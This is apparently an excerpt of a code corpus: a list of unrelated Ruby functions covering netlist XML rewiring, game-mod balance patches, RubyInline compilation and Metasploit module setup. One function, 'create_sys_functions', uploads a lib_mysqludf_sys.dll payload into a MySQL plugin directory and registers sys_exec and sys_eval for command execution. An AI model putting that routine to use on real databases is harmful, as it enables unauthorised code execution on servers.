Modify. Change Connection for %s.%s\\n\",target_instance,target_port) if $VERBOSE\n XMLParse::change_Connection(@root,target_higher_module_name,target_current_instance,{\"#{target_port}\" => [signal]},con_db)\n \n elsif (( base_upper_instance_size >= target_upper_instance_size ) || force_upper == true )\n # Different Hierarchy. Connect to Terminal and continue next connection.\n hier = \"Upper\"\n printf(\"@I:Modify XML for Different Hierarchy. ( Connect to Upper Hierarchy )\\n\") if $VERBOSE\n # get wire name connecting Target Port. Always make new wire\n case base_sig.Type\n when \"output\"\n if con.Type == \"DRIVE_CHANGE\"\n net = get_WireInf(@root,hier,base_higher_module_name,base_current_module,base_current_instance,base_sig,target_higher_module_name,target_current_module,target_current_instance,target_port,con,true)\n else\n net = get_WireInf(@root,hier,base_higher_module_name,base_current_module,base_current_instance,base_sig,target_higher_module_name,target_current_module,target_current_instance,target_port,con)\n end\n else\n net = get_WireInf(@root,hier,base_higher_module_name,base_current_module,base_current_instance,base_sig,target_higher_module_name,target_current_module,target_current_instance,target_port,con,true)\n end\n org_net = get_WireInf(@root,hier,base_higher_module_name,base_current_module,base_current_instance,base_sig,target_higher_module_name,target_current_module,target_current_instance,target_port,con)\n\n @connect_log.printf(\"[%s],%s,%s,%s,%s,%s\\n\",base_sig.Type,base_instance,base_port,net.Name,target_instance,target_port) if base_sig != nil\n\n case base_sig.Type\n when \"input\"\n printf(\"@I:Connect [Base]%s.%s <- [Net]%s <- [transfer point]%s.%s\\n\",base_instance,base_port,net.Name,base_upper_instance,net.Name)\n when \"output\"\n printf(\"@I:Connect [Base]%s.%s -> [Net]%s -> [transfer point]%s.%s\\n\",base_instance,base_port,net.Name,base_upper_instance,net.Name)\n when \"inout\"\n printf(\"@I:Connect [Base]%s.%s <-> [Net]%s <-> [transfer point]%s.%s\\n\",base_instance,base_port,net.Name,base_upper_instance,net.Name)\n else\n # internal error\n FMakeMessage.PrintInternalError( :category => \"FMakeLogic\", :no => 21, :file_name => File.basename(__FILE__), :lineno => __LINE__, :param => sig.Type) \n end\n printf(\"XML Modify. Change Connection for %s.%s\\n\",base_instance,base_port) if $VERBOSE\n # make wire data\n if net.Comment == \"OverWrite\"\n signal = FICE_DB::SignalInf.new( \n :name => net.Name, \n :type => \"wire\", \n :msb => net.MSB, \n :lsb => net.LSB, \n# :portion => net.BusPortion, \n :word_top => net.WordTop, \n :word_buttom => net.WordButtom,\n :new_flag => true\n ) \n else\n signal = FICE_DB::SignalInf.new( \n :name => net.Name, \n :type => \"wire\", \n :msb => net.MSB, \n :lsb => net.LSB, \n :portion => net.BusPortion, \n :word_top => net.WordTop, \n :word_buttom => net.WordButtom,\n :new_flag => true\n ) \n end\n # Change Connection to base_instance\n XMLParse::change_Connection(@root,base_higher_module_name,base_current_instance,{\"#{base_port}\" => [signal]},con_db)\n # make wire data\n signal = FICE_DB::SignalInf.new( \n :name => net.Name, \n :type => base_sig.Type, \n :msb => net.MSB, \n :lsb => net.LSB, \n :portion => net.BusPortion, \n :word_top => net.WordTop, \n :word_buttom => net.WordButtom,\n :new_flag => true\n )\n XMLParse::change_ConnectionToPort(@root,base_higher_module_name,base_current_instance,signal,con_db)\n\n # Care Other Connection\n if base_sig.Type == \"output\"\n printf(\"[A]Search Connection Inst:%s.%s in Module:%s\\n\",base_instance,base_port,$TOP_MODULE + \".\" + base_upper_module)\n connect_list = nil\n connect_list = XMLParse::search_Connection(true,@root,$TOP_MODULE + \".\" + base_upper_module,base_instance,[base_port,nil],true,nil,nil,0,@CONF_DB.INST.keys)\n # list = XMLParse::search_Connection(true,@root,top_module,inst_name,[sig,value],true,nil,nil,0,@CONF_DB.INST.keys) \n # connect_list = XMLParse::search_Connection(true,@root,target_upper_module,target_current_instance,[target_port,nil],false) \n if connect_list != nil && connect_list.Path.size != 1\n # In case, Wire name was Changed\n if net.Name != org_net.Name\n # Changed Net name\n printf(\"@I: Connected Wire Changed from \\\"%s\\\" to \\\"%s\\\" by FMake, So other connection net also change.\\n\",org_net.Name,net.Name)\n connect_list.Path.each do |path|\n case path.size\n when 1\n # MySelf. Do nothing\n when 2\n other_connect_inst = path[1].InstName.split(\".\").last\n # other_connect_inst = path[1].InstName.\n other_connect_port = path[1].Name\n printf(\"XML Modify. Change Connection for %s.%s ( module name : %s , wire name : %s )\\n\",other_connect_inst,other_connect_port,base_higher_module_name,net.Name) if $VERBOSE\n XMLParse::change_Connection(@root,base_higher_module_name,other_connect_inst,{\"#{other_connect_port}\" => [signal]},con_db)\n else\n# when 3\n inst_size = path.last.InstName.split(\".\").size\n if inst_size <= path.size\n other_connect_inst = path.last.InstName\n other_connect_port = path.last.Name\n tmp = resolve_Hier_from_Instance(other_connect_inst.split(\".\"))[0][0].split(\".\")\n current_module = tmp.pop\n \n connect_change = false\n if base_instance != nil && other_connect_inst != nil\n base_path = base_instance.split(\".\") \n target_path = other_connect_inst.split(\".\") \n if (( base_path & target_path ) != [] && base_path.size > target_path.size ) || target_path.size == 1\n connect_change = true\n end\n end\n \n if tmp == []\n module_name = $TOP_MODULE\n else\n module_name = $TOP_MODULE + \".\" + tmp.join(\".\")\n end\n if path.last.PortBusPortion != nil && path.last.Type == \"input\" && @CONF_DB.INST.keys.index(path.last.InstName) != nil\n printf(\"@internal error: Not Support yet.\\n\")\n pp path\n pp path.last.PortBusPortion\n pp path.last.Type\n pp @CONF_DB.INST.keys.index(path.last.InstName)\n exit\n elsif path.last.Type == \"input\" && connect_change\n name = \"FMakeWire_\" + target_instance.gsub(\".\",\"_\") + \"_\" + base_port\n new_signal = FICE_DB::SignalInf.new( \n :name => name, \n :type => \"wire\", \n :msb => net.MSB, \n :lsb => net.LSB, \n :portion => net.BusPortion, \n :word_top => net.WordTop, \n :word_buttom => net.WordButtom,\n :new_flag => true\n ) \n printf(\"@XML Modify. Change Connection for %s.%s ( module name : %s , wire name : %s )\\n\",other_connect_inst,other_connect_port,module_name,name) if $VERBOSE\n XMLParse::change_Connection(@root,module_name.split(\".\").last,other_connect_inst.split(\".\").last,{\"#{other_connect_port}\" => [new_signal]},con_db)\n end\n end\n # exit\n end\n end\n end\n end\n end\n \n # Next Connection\n# printf(\"Next Connection - 1\\n\")\n connect_modify_to_xml(con_db,con,signal,base_upper_module,base_upper_instance,signal.Name,target_module,target_instance,target_port)\n \n else # base_upper_instance_size < target_upper_instance_size\n hier = \"Lower\"\n printf(\"@I:Modify XML for Different Hierarchy. ( Connect to Lower Hierarchy )\\n\") if $VERBOSE\n\n # update each data in this case\n\n # get wire name connecting Target Port. Always make new wire\n\n # Search Original Connect ( If target has other connection )\n case base_sig.Type\n when \"output\"\n net = get_WireInf(@root,hier,base_higher_module_name,base_current_module,base_current_instance,base_sig,target_higher_module_name,target_current_module,target_current_instance,target_port,con,true,false)\n else\n# net = get_WireInf(@root,hier,base_higher_module_name,base_current_module,base_current_instance,base_sig,target_higher_module_name,target_current_module,target_current_instance,con)\n net = get_WireInf(@root,hier,base_higher_module_name,base_current_module,target_current_instance,base_sig,target_higher_module_name,target_current_module,target_current_instance,target_port,con,false,false)\n end\n\n org_net = get_WireInf(@root,hier,base_higher_module_name,base_current_module,base_current_instance,base_sig,target_higher_module_name,target_current_module,target_current_instance,target_port,con)\n\n @connect_log.printf(\"[%s],%s,%s,%s,%s,%s\\n\",base_sig.Type,base_instance,base_port,net.Name,target_instance,target_port) if base_sig != nil\n\n\n lower_direction = nil\n case base_sig.Type\n when \"input\"\n printf(\"@I:Connect [Base]%s.%s <- [Net]%s <- [transfer point]%s.%s\\n\",base_instance,base_port,net.Name,target_upper_instance,net.Name)\n lower_direction = \"output\"\n when \"output\"\n printf(\"@I:Connect [Base]%s.%s -> [Net]%s -> [transfer point]%s.%s\\n\",base_instance,base_port,net.Name,target_upper_instance,net.Name)\n lower_direction = \"input\"\n when \"inout\"\n printf(\"@I:Connect [Base]%s.%s <-> [Net]%s <-> [transfer point]%s.%s\\n\",base_instance,base_port,net.Name,target_upper_instance,net.Name)\n lower_direction = \"inout\"\n else\n # internal error\n FMakeMessage.PrintInternalError( :category => \"FMakeLogic\", :no => 21, :file_name => File.basename(__FILE__), :lineno => __LINE__, :param => sig.Type) \n end\n\n\n signal = FICE_DB::SignalInf.new( \n :name => net.Name, \n :type => \"wire\", \n :msb => net.MSB, \n :lsb => net.LSB, \n :portion => net.BusPortion, \n :word_top => net.WordTop, \n :word_buttom => net.WordButtom,\n :new_flag => true\n ) \n# transfer_instance = target_upper_instance.split(\".\")[0]\n transfer_instance = target_upper_instance\n\n # Add Wire\n# printf(\"XML Modify. Add Wire to %s module ( wire name : %s )\\n\",base_higher_module_name,net.Name)\n# XMLParse::add_Wire(@root,base_higher_module_name,net)\n # Change Connection to base_instance\n printf(\"XML Modify. Change Connection for %s.%s ( module name : %s , wire name : %s )\\n\",base_instance,base_port,base_higher_module_name,net.Name) if $VERBOSE\n XMLParse::change_Connection(@root,base_higher_module_name,base_current_instance,{\"#{base_port}\" => [signal]},con_db)\n # Change Connection to transfer point\n \n# printf(\"XML Modify. Change Connection for %s.%s ( module name : %s , wire name : %s )\\n\",target_upper_instance,net.Name,target_higher_module_name,net.Name) \n# XMLParse::change_Connection(@root,base_higher_module_name,target_upper_instance,{\"#{net.Name}\" => [signal]},con_db)\n printf(\"XML Modify. Change Connection for %s.%s ( module name : %s , wire name : %s )\\n\",transfer_instance,net.Name,target_higher_module_name,net.Name) if $VERBOSE\n XMLParse::change_Connection(@root,base_higher_module_name,transfer_instance,{\"#{net.Name}\" => [signal]},con_db)\n\n # Care Other Connection\n if base_sig.Type == \"input\"\n printf(\"[B]Search Connection Inst:%s.%s in Module:%s\\n\",target_instance,target_port,$TOP_MODULE + \".\" + target_upper_module)\n connect_list = nil\n connect_list = XMLParse::search_Connection(true,@root,$TOP_MODULE + \".\" + target_upper_module,target_instance,[target_port,nil],true,nil,nil,0,@CONF_DB.INST.keys) \n # list = XMLParse::search_Connection(true,@root,top_module,inst_name,[sig,value],true,nil,nil,0,@CONF_DB.INST.keys) \n # connect_list = XMLParse::search_Connection(true,@root,target_upper_module,target_current_instance,[target_port,nil],false) \n if connect_list != nil && connect_list.Path.size != 1\n # In case, Wire name was Changed\n if net.Name != org_net.Name\n # Changed Net name\n printf(\"@I: Connected Wire Changed from \\\"%s\\\" to \\\"%s\\\" by FMake, So other connection net also change.\\n\",org_net.Name,net.Name)\n connect_list.Path.each do |path|\n case path.size\n when 1\n # MySelf. Do nothing\n when 2\n other_connect_inst = path[1].InstName.split(\".\").last\n # other_connect_inst = path[1].InstName.\n other_connect_port = path[1].Name\n printf(\"XML Modify. Change Connection for %s.%s ( module name : %s , wire name : %s )\\n\",other_connect_inst,other_connect_port,target_higher_module_name,net.Name) if $VERBOSE\n XMLParse::change_Connection(@root,target_higher_module_name,other_connect_inst,{\"#{other_connect_port}\" => [signal]},con_db) \n else\n inst_size = path.last.InstName.split(\".\").size\n if inst_size <= path.size\n other_connect_inst = path.last.InstName\n other_connect_port = path.last.Name\n tmp = resolve_Hier_from_Instance(other_connect_inst.split(\".\"))[0][0].split(\".\")\n current_module = tmp.pop\n # higher_module = tmp.pop\n \n connect_change = false\n if base_instance != nil && other_connect_inst != nil\n base_path = base_instance.split(\".\") \n target_path = other_connect_inst.split(\".\") \n if (( base_path & target_path ) != [] && base_path.size > target_path.size ) || target_path.size == 1 || base_path.size == 1\n connect_change = true\n end\n end\n \n if tmp == []\n module_name = $TOP_MODULE\n else\n module_name = $TOP_MODULE + \".\" + tmp.join(\".\")\n end\n if path.last.PortBusPortion != nil && path.last.Type == \"input\" && @CONF_DB.INST.keys.index(path.last.InstName) != nil\n printf(\"@internal error: Not Support yet.\\n\")\n pp path\n pp path.last.PortBusPortion\n pp path.last.Type\n pp @CONF_DB.INST.keys.index(path.last.InstName)\n exit\n elsif path.last.Type == \"input\" && connect_change\n if base_path.size == 1 && target_path.size != 1\n tmp = target_instance.split(\".\")\n tmp.delete_at(0)\n new_wire_Name = tmp.join(\"_\")\n name = \"FMakeWire_\" + new_wire_Name + \"_\" + base_port\n else\n name = \"FMakeWire_\" + target_instance.gsub(\".\",\"_\") + \"_\" + base_port\n end\n new_signal = FICE_DB::SignalInf.new( \n :name => name, \n :type => \"wire\", \n :msb => net.MSB, \n :lsb => net.LSB, \n :portion => net.BusPortion, \n :word_top => net.WordTop, \n :word_buttom => net.WordButtom,\n :new_flag => true\n ) \n # signal.Name = name\n # printf(\"XML Modify. Change Connection for %s.%s ( module name : %s , wire name : %s )\\n\",other_connect_inst,other_connect_port,module_name,name) \n # XMLParse::change_Connection(@root,module_name,other_connect_inst,{\"#{other_connect_port}\" => [new_signal]},con_db)\n printf(\"@XML Modify. Change Connection for %s.%s ( module name : %s , wire name : %s )\\n\",other_connect_inst,other_connect_port,module_name,name) if $VERBOSE\n XMLParse::change_Connection(@root,module_name.split(\".\").last,other_connect_inst.split(\".\").last,{\"#{other_connect_port}\" => [new_signal]},con_db)\n else\n printf \"Do nothing. (#{path.last.Type}, #{connect_change})\\n\" if $VERBOSE\n end\n end\n printf \"Done\\n\"\n # exit\n end\n end\n end\n end\n end\n\n # make port data\n signal = FICE_DB::SignalInf.new( \n :name => net.Name, \n :type => lower_direction, \n :msb => net.MSB, \n :lsb => net.LSB, \n :portion => net.BusPortion, \n :word_top => net.WordTop, \n :word_buttom => net.WordButtom,\n :new_flag => true\n )\n # Add Wire\n printf(\"XML Modify. Add Wire to %s module ( wire name : %s )\\n\",target_higher_module_name,signal.Name) if $VERBOSE\n XMLParse::add_Wire(@root,target_higher_module_name,signal)\n # Add Port\n printf(\"XML Modify. Add Port to %s module ( port name : %s ,direction : %s)\\n\",target_higher_module_name,signal.Name,lower_direction) if $VERBOSE \n XMLParse::add_Port(@root,target_higher_module_name,signal)\n # Add Terminal\n printf(\"XML Modify. Add Terminal to %s module ( terminal name : %s )\\n\",target_higher_module_name,signal.Name) if $VERBOSE \n ret = XMLParse::add_Terminal(@root,target_higher_module_name,signal,con_db)\n port_already = true if ret == 7\n # modify target_module\n# printf(\"Next Connection - 2\\n\")\n connect_modify_to_xml(con_db,con,signal,target_higher_module_name,nil,signal.Name,target_module,target_instance,target_port,port_already)\n# connect_modify_to_xml(con_db,con,signal,target_upper_module,nil,signal.Name,target_module,target_instance,target_port,port_already)\n\n # Make Next\n target_module = base_module\n target_instance = base_instance\n base_port = signal.Name\n base_current_module, base_upper_module, base_higher_module_name, base_upper_module_size = analyze_BaseTarget_path(target_upper_module,\"module\") if target_upper_module != nil\n base_current_instance, base_upper_instance, base_higher_instance_name, base_upper_instance_size = analyze_BaseTarget_path(target_upper_instance,\"instance\") if target_upper_instance != nil\n\n if base_upper_module != \"\"\n base_upper_module = base_upper_module + \".\" + base_current_module\n else\n base_upper_module = base_current_module\n end\n if base_upper_instance != \"\"\n base_upper_instance = base_upper_instance + \".\" + base_current_instance\n else\n base_upper_instance = base_current_instance\n end\n\n # Next Connection\n# printf(\"Next Connection - 3\\n\")\n connect_modify_to_xml(con_db,con,signal,base_upper_module,base_upper_instance,signal.Name,target_module,target_instance,base_sig.Name,port_already)\n port_already = false\n end\n\n end",
"def get_or_create_for_nested_module(component_module, base_version, opts = {})\n create_opts = {\n donot_update_model: opts[:donot_update_model],\n delete_existing_branch: opts[:delete_existing_branch],\n base_version: base_version, \n ret_augmented_module_branch: true\n }\n AssemblyModule::Component.new(self.assembly_instance).create_module_for_service_instance?(component_module, create_opts) \n end",
"def nerf_tribal_development!\n warn \"Disabled code #{__method__}. Do not enable in release. #{__FILE__}:#{__LINE__}\"\n\n soft_patch_defines_lua!(\n \"fun_and_balance_nerf_tribal_dev\",\n # annual number, so 3*4/12 = 1 devastation per month initially\n # there's 10% a year natural recovery\n [\"NCountry.MIGRATORY_TRIBE_DEVASTATION_BURN\", 0.8, 4.0],\n [\"NCountry.MIGRATORY_TRIBE_DEVELOPMENT_PROGRESS\", 0.02, 0.005],\n [\"NCountry.MIGRATORY_TRIBE_DEVELOPMENT_OTHER_BONUS\", 0.08, 0.005],\n )\n\n patch_mod_file!(\"common/buildings/01_nativebuildings.txt\") do |node|\n modify_node! node,\n [\"native_irrigation\", \"modifier\", \"tribal_development_growth\", 0.02, 0.005]\n end\n\n patch_mod_file!(\"common/event_modifiers/00_event_modifiers.txt\") do |node|\n modify_node! node,\n [\"tot_dedicated_ruler\", \"tribal_development_growth\", 0.02, 0.005],\n [\"primus_inter_pares_mod\", \"tribal_development_growth\", 0.02, 0.005]\n end\n\n patch_mod_file!(\"common/federation_advancements/00_default.txt\") do |node|\n modify_node! node,\n [\"joint_grain_depots\", \"modifier\", \"tribal_development_growth\", 0.02, 0.005]\n end\n\n patch_mod_file!(\"common/ideas/00_basic_ideas.txt\") do |node|\n modify_node! node,\n [\"indigenous_ideas\", \"indigenous_bountiful_land\", \"tribal_development_growth\", 0.05, 0.005]\n end\n\n patch_mod_file!(\"common/government_reforms/05_government_reforms_natives.txt\") do |node|\n modify_node! node,\n [\"native_chiefdom_reform\", \"modifiers\", \"tribal_development_growth\", 0.02, 0.005],\n [\"native_seasonal_travel_reform\", \"modifiers\", \"tribal_development_growth\", 0.02, 0.005]\n end\n\n # This is done so tribes don't grow on 100% devastated land\n # (which would be totally ridiculous)\n # patch_mod_file!(\"common/static_modifiers/00_static_modifiers.txt\") do |node|\n # modify_node! node,\n # [\"base_values\", \"tribal_development_growth\", nil, -0.02]\n # end\n\n # Target to get is 100+150+200+250=700 reform progress, or 58 years.\n # This is stupidly fast.\n # Slow it down to x4, so normal full reform target is year 1677 - but there are\n # many ways to accelerate it to 1550s.\n patch_mod_file!(\"common/government_reforms/05_government_reforms_natives.txt\") do |node|\n modify_node! node,\n [\"native_basic_reform\", \"modifiers\", \"monthly_reform_progress_modifier\", nil, -0.75]\n end\n end",
"def build\n so_name = self.so_name\n so_exists = File.file? so_name\n unless so_exists and File.mtime(rb_file) < File.mtime(so_name) then\n\n unless File.directory? Inline.directory then\n warn \"NOTE: creating #{Inline.directory} for RubyInline\" if $DEBUG\n Dir.mkdir Inline.directory, 0700\n end\n\n src_name = \"#{Inline.directory}/#{module_name}.c\"\n old_src_name = \"#{src_name}.old\"\n should_compare = File.write_with_backup(src_name) do |io|\n if @include_ruby_first\n @inc.unshift \"#include \\\"ruby.h\\\"\"\n else\n @inc.push \"#include \\\"ruby.h\\\"\"\n end\n\n io.puts\n io.puts @inc.join(\"\\n\")\n io.puts\n io.puts @src.join(\"\\n\\n\")\n io.puts\n io.puts\n io.puts \"#ifdef __cplusplus\"\n io.puts \"extern \\\"C\\\" {\"\n io.puts \"#endif\"\n io.puts \" __declspec(dllexport)\" if WINDOZE\n io.puts \" void Init_#{module_name}() {\"\n io.puts \" VALUE c = rb_cObject;\"\n\n # TODO: use rb_class2path\n # io.puts \" VALUE c = rb_path2class(#{@mod.name.inspect});\"\n io.puts @mod.name.split(\"::\").map { |n|\n \" c = rb_const_get(c,rb_intern(\\\"#{n}\\\"));\"\n }.join(\"\\n\")\n\n @sig.keys.sort.each do |name|\n arity, singleton, method_name = @sig[name]\n if singleton then\n io.print \" rb_define_singleton_method(c, \\\"#{method_name}\\\", \"\n else\n io.print \" rb_define_method(c, \\\"#{method_name}\\\", \"\n end\n io.puts \"(VALUE(*)(ANYARGS))#{name}, #{arity});\"\n end\n io.puts @init_extra.join(\"\\n\") unless @init_extra.empty?\n\n io.puts\n io.puts \" }\"\n io.puts \"#ifdef __cplusplus\"\n io.puts \"}\"\n io.puts \"#endif\"\n io.puts\n end\n\n # recompile only if the files are different\n recompile = true\n if so_exists and should_compare and\n FileUtils.compare_file(old_src_name, src_name) then\n recompile = false\n\n # Updates the timestamps on all the generated/compiled files.\n # Prevents us from entering this conditional unless the source\n # file changes again.\n t = Time.now\n File.utime(t, t, src_name, old_src_name, so_name)\n end\n\n if recompile then\n\n hdrdir = %w(srcdir archdir rubyhdrdir).map { |name|\n Config::CONFIG[name]\n }.find { |dir|\n dir and File.exist? File.join(dir, \"/ruby.h\")\n } or abort \"ERROR: Can't find header dir for ruby. Exiting...\"\n\n flags = @flags.join(' ')\n libs = @libs.join(' ')\n\n config_hdrdir = if RUBY_VERSION > '1.9' then\n \"-I #{File.join hdrdir, RbConfig::CONFIG['arch']}\"\n else\n nil\n end\n\n cmd = [ Config::CONFIG['LDSHARED'],\n flags,\n Config::CONFIG['CCDLFLAGS'],\n Config::CONFIG['CFLAGS'],\n '-I', hdrdir,\n config_hdrdir,\n '-I', Config::CONFIG['includedir'],\n \"-L#{Config::CONFIG['libdir']}\",\n '-o', so_name.inspect,\n File.expand_path(src_name).inspect,\n libs,\n crap_for_windoze ].join(' ')\n\n # TODO: remove after osx 10.5.2\n cmd += ' -flat_namespace -undefined suppress' if\n RUBY_PLATFORM =~ /darwin9\\.[01]/\n cmd += \" 2> #{DEV_NULL}\" if $TESTING and not $DEBUG\n\n warn \"Building #{so_name} with '#{cmd}'\" if $DEBUG\n result = `#{cmd}`\n warn \"Output:\\n#{result}\" if $DEBUG\n if $? != 0 then\n bad_src_name = src_name + \".bad\"\n File.rename src_name, bad_src_name\n raise CompilationError, \"error executing #{cmd.inspect}: #{$?}\\nRenamed #{src_name} to #{bad_src_name}\"\n end\n\n # NOTE: manifest embedding is only required when using VC8 ruby\n # build or compiler.\n # Errors from this point should be ignored if Config::CONFIG['arch']\n # (RUBY_PLATFORM) matches 'i386-mswin32_80'\n if WINDOZE and RUBY_PLATFORM =~ /_80$/ then\n Dir.chdir Inline.directory do\n cmd = \"mt /manifest lib.so.manifest /outputresource:so.dll;#2\"\n warn \"Embedding manifest with '#{cmd}'\" if $DEBUG\n result = `#{cmd}`\n warn \"Output:\\n#{result}\" if $DEBUG\n if $? != 0 then\n raise CompilationError, \"error executing #{cmd}: #{$?}\"\n end\n end\n end\n\n warn \"Built successfully\" if $DEBUG\n end\n\n else\n warn \"#{so_name} is up to date\" if $DEBUG\n end # unless (file is out of date)\n end",
"def append_features(mod)\n im = Rubinius::IncludedModule.new(self)\n im.attach_to mod\n end",
"def install_modules_dependencies(spec, new_arch_enabled: ENV['RCT_NEW_ARCH_ENABLED'] == \"1\")\n NewArchitectureHelper.install_modules_dependencies(spec, new_arch_enabled, $FOLLY_VERSION)\nend",
"def create_module\n puts \"\\n... Creating module '#{@module}' in '#{@dir}'\"\n # Base directory\n create_dir(\"#{@module}\")\n self.create_module_dirs\n self.create_module_files\n self.create_module_file\n self.create_module_database_files\n self.create_module_info_file\n puts 'Module created :)'\n end",
"def initialize(info = {})\n\n\t\t@module_info_copy = info.dup\n\n\n\t\tself.module_info = info\n\t\tgenerate_uuid\n\n\t\tset_defaults\n\n\t\t# Initialize module compatibility hashes\n\t\tinit_compat\n\n\t\t# Fixup module fields as needed\n\t\tinfo_fixups\n\n\t\t# Transform some of the fields to arrays as necessary\n\t\tself.author = Author.transform(module_info['Author'])\n\t\tself.arch = Rex::Transformer.transform(module_info['Arch'], Array, [ String ], 'Arch')\n\t\tself.platform = PlatformList.transform(module_info['Platform'])\n\t\tself.references = Rex::Transformer.transform(module_info['References'], Array, [ SiteReference, Reference ], 'Ref')\n\n\t\t# Create and initialize the option container for this module\n\t\tself.options = OptionContainer.new\n\t\tself.options.add_options(info['Options'], self.class)\n\t\tself.options.add_advanced_options(info['AdvancedOptions'], self.class)\n\t\tself.options.add_evasion_options(info['EvasionOptions'], self.class)\n\n\t\t# Create and initialize the data store for this module\n\t\tself.datastore = ModuleDataStore.new(self)\n\n\t\t# Import default options into the datastore\n\t\timport_defaults\n\n\t\tself.privileged = module_info['Privileged'] || false\n\t\tself.license = module_info['License'] || MSF_LICENSE\n\n\t\t# Allow all modules to track their current workspace\n\t\tregister_advanced_options(\n\t\t\t[\n\t\t\t\tOptString.new('WORKSPACE', [ false, \"Specify the workspace for this module\" ])\n\t\t\t], Msf::Module)\n\tend",
"def c_generate(gen_info)\n\n asm_format = gen_info['asm_format']\n field_format = gen_info['field_format']\n\n bitmasks = gen_info['bitmasks']\n tables = gen_info['dispatch_tables']\n\n c_generate_comment_header()\n c_generate_decoders(asm_format, field_format, bitmasks)\n c_generate_proto(tables)\n c_generate_dispatchers(tables)\nend",
"def _add_component comp #:nodoc:\n end",
"def add component, title\n component.row = @row+@row_offset+0 # FFI changed 1 to 0 2011-09-12 \n component.col = @col+@col_offset+0 # FFI changed 1 to 0 2011-09-12 \n component.width = @width-2\n component.height = @height-2\n component.form = @form\n component.override_graphic(@graphic)\n @current_component = @bmanager.add component, title\n set_current_component\n set_form_row ## FFI added 2011-09-12 to get cursor at start when adding\n $log.debug \" ADD got cb : #{@current_component} \"\n end",
"def create_sys_functions\n udf_name = randz(15) + \".dll\"\n plugin_path = get_plugin_dir\n udf_dest = plugin_path.chomp + udf_name\n if @build == 'x64'\n file = \"#{HOME}extras/myudf/payloads/64/lib_mysqludf_sys.dll\"\n elsif @build == 'x32'\n file = \"#{HOME}extras/myudf/payloads/32/lib_mysqludf_sys.dll\"\n end\n\n # Upload our UDF DLL Payload file\n if udf_write_bin_file(file, udf_dest)\n begin\n # Drop function if its already there, then create new\n q = @db_connection.query(\"DROP FUNCTION IF EXISTS sys_exec;\")\n q = @db_connection.query(\"CREATE FUNCTION sys_exec RETURNS int SONAME '#{udf_name}';\")\n q = @db_connection.query(\"CREATE FUNCTION sys_eval RETURNS string SONAME '#{udf_name}';\")\n\n # Confirm it was added and all is well....\n if sys_exec_check\n return udf_dest\n else\n return nil\n end\n rescue Mysql::Error => e\n print_error(\"Problem creating UDF SYS functions!\")\n puts \"\\t=> \".white + \"#{e}\\n\\n\".light_red\n return nil\n end\n end\n end",
"def makeIDDefinitionFile()\n # Build the ID definitions header output file name and include flag\n baseFileName = \"combined_pkt_ids\"\n idDefinesFileName = ccdd.getOutputPath() + baseFileName + \".h\"\n headerIncludeFlag = \"_\" + baseFileName.upcase() + \"_H_\"\n\n # Open the types header output file\n idDefinesFile = ccdd.openOutputFile(idDefinesFileName)\n\n # Check if the types header file successfully opened\n if idDefinesFile != nil\n # Add the build information to the output file\n outputFileCreationInfo(idDefinesFile)\n\n # Add the header include to prevent loading the file more than once\n ccdd.writeToFileLn(idDefinesFile, \"#ifndef \" + headerIncludeFlag)\n ccdd.writeToFileLn(idDefinesFile, \"#define \" + headerIncludeFlag)\n ccdd.writeToFileLn(idDefinesFile, \"\")\n\n # Get the number of rows for the Includes table data\n numIncludeRows = ccdd.getTableNumRows(\"Includes\")\n\n # Check if there are any data to include\n if numIncludeRows > 0\n # Step through each row of Includes data\n for row in 0..numIncludeRows-1\n # Output the Includes table's 'includes' column data\n ccdd.writeToFileLn(idDefinesFile, ccdd.getTableData(\"Includes\", \"includes\", row))\n end\n\n ccdd.writeToFileLn(idDefinesFile, \"\")\n end\n\n minimumLength = 1\n\n # Step through the list of names that are used\n for index in 0..$usedHKNames.length - 1\n # Check if the length exceeds the minimum length found thus far\n if $usedHKNames[index].length > minimumLength\n # Store the new minimum length\n minimumLength = $usedHKNames[index].length\n end\n end\n\n # Step through the list of names that are used\n for index in 0..$usedHKNames.length - 1\n # Output the ID name and ID to the file\n ccdd.writeToFileFormat(idDefinesFile, \"#define %-\" + minimumLength.to_s + \"s (%7s + FC_OFFSET )\\n\", $usedHKNames[index], $usedHKValues[index])\n end\n\n # Finish and close the ID definitions header output file\n ccdd.writeToFileLn(idDefinesFile, \"\")\n ccdd.writeToFileLn(idDefinesFile, \"#endif /* \" + headerIncludeFlag + \" */\")\n\n # Close the output file\n ccdd.closeFile(idDefinesFile)\n # The combined ID file failed to open\n else\n # Display an error dialog\n ccdd.showErrorDialog(\"<html><b>Error opening combined ID output file '</b>\" + idDefinesFileName + \"<b>'\")\n end\nend",
"def build_mod_files!\n apply_simple_terrain_map_mod!\n create_mod_descriptor!(\n name: \"A Simple Terrain Map Mode for Kaiserreich\",\n path: \"mod/#{mod_name}\",\n supported_version: \"1.6.*\",\n picture: \"a_simple_terrain_map_mode_kr.png\",\n )\n end",
"def bump_minor_version; end",
"def createFlowcellDefinitionXML()\n# obj = FlowcellDefinitionBuilder.new(@fcName, @baseCallsDir)\n\n outputFile = @baseCallsDir + \"/FCDefinition.xml\"\n outLog = @baseCallsDir + \"/fcPlanDownloader.o\"\n errLog = @baseCallsDir + \"/fcPlanDownloader.e\"\n\n cmd = \"java -jar \" + PathInfo::LIMS_API_DIR + \"/FlowcellPlanDownloader.jar\" +\n \" \" + LimsInfo::LIMS_DB_NAME + \" \" + PipelineHelper.formatFlowcellNameForLIMS(@fcName) +\n \" \" + outputFile + \" 1>\" + outLog + \" 2>\" + errLog\n puts \"Executing command to download flowcell plan\"\n output = `#{cmd}`\n returnCode = $?\n\n if !File::exist?(outputFile) || (returnCode != 0)\n raise outputFile + \" not created\"\n end\n end",
"def build_gem; end",
"def run_addMolid2File()\n ifn = @work_dir + '_1.sdf'\n ofn = @work_dir + '_2.sdf'\n addMolid2File(ifn, ofn)\n puts \"\\nwrite to #{ofn}\\n\"\n end",
"def generate\n <<-MODULE_MAP.strip_heredoc\n framework module #{target.product_module_name} {\n umbrella header \"#{target.umbrella_header_path.basename}\"\n\n export *\n module * { export * }\n }\n MODULE_MAP\n end",
"def append_features(mod) end",
"def component_builder_bin(cmp)\n component_build_vars(cmp)['BUILDER_BIN']\nend",
"def create_api_module\n File.open(\"#{@project_name}/app/apis/#{@project_name}/base.rb\", \"w\") do |f|\n f.write('module ') \n f.puts(@module_name)\n f.write(\"\\tclass Base < Grape::API\\n\\tend\\nend\")\n end\n $stdout.puts \"\\e[1;32m \\tcreate\\e[0m\\tapp/apis/#{@project_name}/base.rb\"\n end",
"def gemspec_building_block; end",
"def folly_flags()\n return NewArchitectureHelper.folly_compiler_flags\nend",
